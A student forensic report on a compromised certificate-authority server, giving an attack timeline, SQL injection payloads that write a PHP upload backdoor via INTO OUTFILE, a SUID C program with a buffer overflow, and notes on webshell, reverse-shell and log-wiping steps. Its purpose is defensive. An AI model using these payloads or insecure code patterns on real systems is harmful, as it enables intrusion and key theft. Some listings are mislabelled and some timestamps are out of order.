h_da
HOCHSCHULE DARMSTADT
UNIVERSITY OF APPLIED SCIENCES

Darmstadt University of Applied Sciences

– Faculty of Computer Science –

Compromised Server Investigation Report

Qualification exercise

by

Lennart Eichhorn

Matriculation number: 759253

Email: lennart.eichhorn@stud.h-da.de

TABLE OF CONTENTS

LIST OF LISTINGS

Part I

FORENSIC INVESTIGATION REPORT

1 INTRODUCTION

A small company hired an IT consultant to generate certificates for various services. As soon as the consultant completed the work and left the building, the Intrusion Detection System (IDS) used in the company detected an attack on the server set up specifically for this purpose. Concerned about the security of the generated certificates, the company requests a forensic investigation of the server to determine whether there has been an attack on the system and, if so, what data has been stolen from the system. Any information that can be found about the attacker is also of importance.

The server itself has the IP address `192.168.0.1`. The consultant used the username `root` and either worked directly on the computer or from the addresses `192.168.5.23 and `192.168.23.5. Otherwise, no one else should have had access to the computer. The consultant set up the computer in the morning and generated the certificates. Immediately afterward, he left the premises. Shortly thereafter, the IDS system reported the attack.

1.1 OBJECTIVES

Our main objectives are to determine the details of the attack and any vulnerabilities that were exploited. We want to answer the following questions:

Questions

- Should the certificates still be used?
- Can the system still be used?
- How did the attacker get into the system?
- What did the attacker do?
- What has to be done to secure the system?
- Which details about the attacker can be found?

Additional Questions

- Is the configuration of the server secure?
- Should a CA be operated in this manner?
- How should the software written by the consulatant be assessed?

1.2 ACQUIRED DATA

Table 1. Compromised server disk image

Attribute	Detailed Information
Filename	HDD.raw
sha256sum	9ad970f9df238dc266f58f17689d4049ab40e5c10296a3ff0620ba95612f166c
Size (bytes)	1.00 GiB (1,073,741,824 bytes)
Date of acquisition	Unknown
Aquired by	Customer
Description	The disk image was created by the customer and handed over to the investigator

Basic server information

Hostnames

caserver.smallcompany.local caserver localhost.localdomain localhost

Operating System

Alpine Linux v3.2.3

motd

Welcome to our PKI management server

nameserver

192.168.1.7

timezone

UTC

1.3 SUSPECT INFORMATION

Name

Peter

Username

peter

IP

192.168.223.223

Tools

Nikto sqlmap c99

Hostname

workstation5728484

SSH public key

Shown in Listing 7

2 SUSPECT ACTION TIMELINE

2015-09-25T06:41:16
: Consultant logs in for the first time from 192.168.23.5 Consultant set mysql root password to `password2015!`

2015-09-25T06:53:51
: Consultant creates cakey.pem Contains the private key of the CA

2015-09-25T06:55:32
: Consultant creates caroot.pem

2015-09-25T08:01:50
: Consultant creates the vulnerable `webserverCtrl.c` (Listing 6)

2015-09-25T08:04:19
: Consultant builds and sets the SUID bit on `webServerCtrl`

2015-09-25T08:04:10
: Intruder started probing endpoints from 192.168.223.223

2015-09-25T08:06:29
: Intruders tooling triggers the SQL injection vulnerability for the first time

2015-09-25T08:07:05
: Intruder started sqlmap using the discovered injection

2015-09-25T08:10:05
: Intruder confirmed SQL injection by placing `/var/www/localhost/htdocs/cache/test.csv`

2015-09-25T08:10:42
: Intruder tries to place upload.php to `/var/www/localhost/htdocs/upload.php` but that does not work

2015-09-25T08:11:04
: Intruder placed `upload.php` to `/var/www/localhost/htdocs/cache/upload.php`

2015-09-25T08:11:12
: Intruder placed `c99.php` to `/var/www/localhost/htdocs/cache/c99.php`

2015-09-25T08:11:16
: Intruder starts using c99.php to run commands

2015-09-25T08:14:58
: Intruders notices

2015-09-25T08:14:58

Intruders obtains the source for webserverCtrl

2015-09-25T08:17:09

Intruder verifies that webServerCtrl can be used to escalated to root.

2015-09-25T08:18:07

Intruder starts a reverse shell as root using webServerCtrl.

2015-09-25T08:22:35

Intruder adds their public key to the `/root/.ssh/authorized_keys`

2015-09-25T08:24:??

Intruder logs in via SSH as root

2015-09-25T08:24:17

Intruder exfiltrates `cakey.pem

2015-09-25T08:25:??

Intruder fails tries but fails to exfiltrate any other key

2015-09-25T08:28:56

Intruder uploads possibly modified `ls` source code via upload.php

2015-09-25T08:33:33

Intruder uploads possibly modified `ls` binary via upload.php

2015-09-25T08:30:54

Intruder places working and possibly modified `ls` binary in `/bin/ls`

2015-09-25T08:31:04

Intruder is listing .ssh, but doesnt do anything

2015-09-25T10:31:54

Intruder deletes all the files they uploaded to `/var/www/localhost/htdocs/cache` Including upload.php

2015-09-25T08:32:28

Intruder clears the `/var/logs/messages` log

2015-09-25T08:32:28

Intruder clears the `/var/log/mysql/query.log` log

2015-09-25T08:32:28

Intruder disconnects

2015-09-25T11:19:57

Someone comes back to delete /var/www/localhost/htdocs/cache/c99.php and /tmp/ccnIANnf.c

2024-04-28T12:45:00

Investigator receives the disk image

2.1 INTRUSION

The attacker scanned the server using sqlmap The form in `index.php` allows a SQL injection, because the inputs are not validated. The vulnerable line is shown in Listing 1. The attacker used that vulnerability to place a script called `upload.php` that allowed them to easily upload new files to the server. They proceeded by uploading c99.php, a webshell, to the server. Using c99.php they were able to execute commands as the `apache` user.

Listing 1. The vulnerable line of code

```php
$query = "SELECT subject FROM certs WHERE cert_id='" . $_POST['cert_id'] . "' LIMIT 1";
```

Listing 2. First SQL injection

```sql
1' OR 1=1 INTO OUTFILE '/var/www/localhost/htdocs/cache/test.csv' --
```

Listing 3. Inserting the content of `upload.php` as a cert into the database

```sql
1'; INSERT INTO certs VALUES(523, "<?php if(isset($_FILES['tfile']))
{     $file_name = $_FILES['tfile']['name'];     $file_tmp =$_FILES['tfile']
['tmp_name'];     move_uploaded_file($file_tmp,$file_name);     echo 'Success'; } ?
> <form action='' method='POST' enctype='multipart/form-
data'>     <input type='file' name='tfile' />     <input type='submit'/> </form>"); --
```

Listing 4. Create `upload.php`

```sql
523' INTO OUTFILE '/var/www/localhost/htdocs/cache/upload.php' --
```

2.1.1 *Privilege escalation*

The intruder intially only had acces to the `apache` user. They managed to escalate their privileges by exploiting a vulnerability in the `webserverCtrl` program created by the consultant.

The `webserverCtrl` was used by the consultant to control the webserver from an unprivileged user. The C source is shown in Listing 6. The program is supposed to use setuid to get root privileges and then allow the user to run one of two predefined commands as root. However a easily abusable buffer overflow vulnerability allows an attacker to abuse it to run arbitrary commands as root.

The attacker used this to start a reverse shell as root. They used the reverse shell to add their own SSH key to the authorized_keys file of the root user. Then they proceeded to login as root via SSH.

2.1.2 *Hiding their tracks*

The attacker tried to hide their tracks by delting some of their files and replacing the `ls` binary with a modified version that hides the authorized_keys file and the folder where they put the source code for `ls`. We were able to restore most of the deleted files.

3 CONCLUSION

3.1 RECOMMENDATIONS FOR SECURING THE SERVER

Delete everything and start from scratch

3.2 QUESTIONS

3.2.1 *Should the certificates still be used?*

The certificates should no longer be used, as the root key used to create the ca has certainly been compromised. We can not be certain that the attacker did not also exfiltrate the other certificates, so they should definitly not be used.

3.2.2 *Can the system still be used?*

No, the system should be wipe and reinstalled. Possibly by a another consultant.

While we are quite certain that the attacker is gone and we know of all activity they did, they might still have left backdoors that we did not find.

3.2.3 *We know details about the attacker can be found?*

We know that the attacker is named `peter`

3.2.4 *What do you think of the configuration of the server?*

Not that good.

3.2.5 *What do I think about the software written by the consultant?*

No. Just no.

3.2.6 *Should a CA be operated in this manner?*

Fuck, no!

LIST OF ABBREVIATIONS

IT	Information Technology 🔗
IDS	Intrusion Detection System 🔗
CA	Certificate Authority 🔗
PKI	Public Key Infrastructure 🔗
SSH	Secure Shell 🔗

REFERENCES

[Goh24] Matthias Göhring, Tobias Hamann, Tim Wörner
Anmeldeaufgabe, Sommersemester 2024
[Online; archived 17.4.2024]
transfer.usd.de/index.php/s/ZPS9KT2NRsk42MA 📁

4 APPENDIX

Listing 5. `upload.php` *(formatted)*

```
RUST
<?php

$mysqli = new mysqli("localhost", "root", "password2015!", "mysql");

if (isset($_POST["cert_id"])) {
    //$escaped_id = mysql_real_escape_string($_POST['cert_id']);
    $query =
        "SELECT subject FROM certs WHERE cert_id='" .
        $_POST["cert_id"] .
        "' LIMIT 1";
    ($result = $mysqli->multi_query($query)) or die("Faulty query: " . $query);

    $subject = $mysqli->store_result()->fetch_all(MYSQLI_ASSOC);
    if (sizeof($subject) == 0) {
        unset($subject);
    }
}
?>

<html>
        <head>
                <title>Certificate Database</title>
        </head>

        <body>
                <h1>Query database for certificate by serial number</h1>
<?php if (isset($_POST["cert_id"]) && !isset($subject)) {
    echo "<h2 style='color:red'>Serial number not found</h2>";
} ?>
                <form action="index.php" method="post">
                        <input type="text" name="cert_id">
                        <input type="submit" value="Search">
                </form>
<?php if (
    isset($subject)
) { ?>
                <h1>Result for <?php echo $_POST["cert_id"]; ?></h1>
                <h2><?php echo $subject[0]["subject"]; ?></h2>
<?php } ?>
 </body>
</html>
```

Listing 6. `webserverCtrl.c` *(formatted)*

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char start[] = "service apache2 start";
 char stop[] = "service apache2 stop";
 char command[8];

 setuid(0);

 if (argc==2)
 strcpy(command,argv[1]);

 if (argc==2 && strcmp(command,"start") == 0) {
 printf("Start command\n");
 system(start);
 }
 else if (argc==2 && strcmp(command,"stop") == 0) {
 printf("Stop command\n");
 system(stop);
 }
 else {
 printf("Defaulting to starting...\n");
 system(start);
 }
 return 0;
}
```

Listing 7. SSH key of the intruder

```text
ssh-
rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJU8OyPBdfgrxkXXUcF+6iLwSSuGVEgJP4YRXR04NhiwX04kYCnkg
stXsH0/eSYVpsyfHgdAngHEz78hZbhGLtRKorFR0TelJOEGGyvlyVT7D7B/0KejOQh4PfFhh0+XHRB2WUELG52M
338hjeaKjnKNuhYCwDNJuKxnhRT3uVAxS2sf4nYnp8uTmYtGlbezRgUUfquBeqwD1IdO2i9gzHQluhDme7GJyq3
3n9CDc4Y5Upg1YO2jxbSKeX1taB0uT6rF61VWWFh63KcEPEuwcLgo5M9Lm8tXMwW5pAcavhB91DS+5OzEObsrVx
VKEvmj+KC8a0sNH9/l8oYXqKX9ff9i9Jm198d1l9aMOgfU2g0CAEC1uVewcKrqIKop5MYKPGbsjyi/ZLg9f75WK
pioIhvSsSePfLCx+4fW76/ys5Ac6l0c5rFdye55R8Q8Lf0fLP+CGBenyF0+5whMAdg2P1fgPQBbcWwTSlb/RNOD
UVIE3kTR1TcqePXs/bKdaK7P6NDL8Nhq4N6pBHBwj5RMrU6jnabEWfqQylOdxeES9dw5e8R+o7FcBfzn88/SRDG
xfVelcpIs3GDf/6aWGCXZDEip8K5gTGjqLYOPBgqkEheguBXpqL4eDfHIJ3J3xwFla97RkkfBSxHthF+0bq1Ug3
JxFl/N6CDG2IieBmHYG7Sw== peter@workstation5728484
```